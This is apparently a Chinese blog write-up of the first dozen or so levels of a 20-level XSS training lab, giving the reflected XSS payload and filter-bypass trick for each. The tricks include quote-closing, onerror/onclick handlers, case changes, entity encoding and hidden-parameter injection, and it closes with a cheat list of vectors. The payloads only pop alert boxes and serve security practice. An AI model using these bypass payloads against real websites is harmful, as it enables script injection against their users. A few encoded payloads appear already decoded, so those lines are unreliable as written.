xss题目 一共20题 难度也在递增吧 写一部分自己的解题过程
后面题目厉害了 慢慢更新(太菜不会做)
题目 payload不唯一呦
没有任何过滤
<script>alert("xss")</script>
记得以前xss这里曾请教过国光哥一些姿势
先输入
<img src=1 onerror=alert("xss")>
查看源码发现 value的值里使用了双引号 所以想到闭合前面的双引号。
"><img src=1 onerror=alert("xss")>
img为图片标签 src应该填写图片地址 如果图片地址不存在 就会触发onerror事件弹出xss
试探性输入
<img src=1 onerror=alert("xss")>
查看源代码发现两端括号被实体化了 换个姿势
onclick=alert(1)
右键源代码 发现本身并没有被过滤 但是value里面使用了单引号 闭合就好
‘>onclick='alert(1)
与level3类似
这题目value里面使用了双引号 闭合双引号就ok
"onclick="alert(1)"
参考前面 直接输入payload
onclick=alert(1)
发现被过滤 大小写无法绕过 换个姿势
<a href=javascript:alert("xss")>
这时候查看源代码发现本身并没有过滤 都是一个套路闭合一下双引号即可
"><a href=javascript:alert("xss")>
这题目前有点坑 与上题相似 单过滤了href src等属性
这里考虑到可以用大小写绕过
"><img SRC=1 ONERROR=alert(1)>
随便写个payload
onclick=alert(1)
查看源代码发现 value有双引号 首先考虑到闭合
其次on被过滤为空 估计不会进行二次过滤
"onclick="alert(1)
添加超链接到页面 本身在a标签里面所以我们payload如下
Javascript:alert(1)
发现并没弹窗 查看源代码发现javascript被过滤 试了很多都被过滤
想到html有字解码机制 试一下将过滤关键字实体化
javascript:alert(1)
这里始终不知道是怎么回事 看了xz的wp 得知这题自动检测url 如果发现没有带 http:// 则会显示不合法
还发现了过滤了双引号 还是利用html自解码机制将关键字实例化即可绕过
javascript:alert("http://")
这题刚打开是懵逼的
然后又请教了国光哥
右键查看源文件 发现了三个隐藏参数 经过一个个试。
发现t_sort参数是控的 由于type="hidden"
是隐藏的
on事件无效
所以应破坏掉type的hidden 之后利用 onclick 弹窗
keyword=1&t_sort=233%22%20onclick=alert(233)%20type=%22%22
<script>alert(1)</script>
<img src = 1 onerror = alert(1)>
<svg onload = alert(1)>
<a href = javascript:alert(1)>
js编码
html实体编码
url编码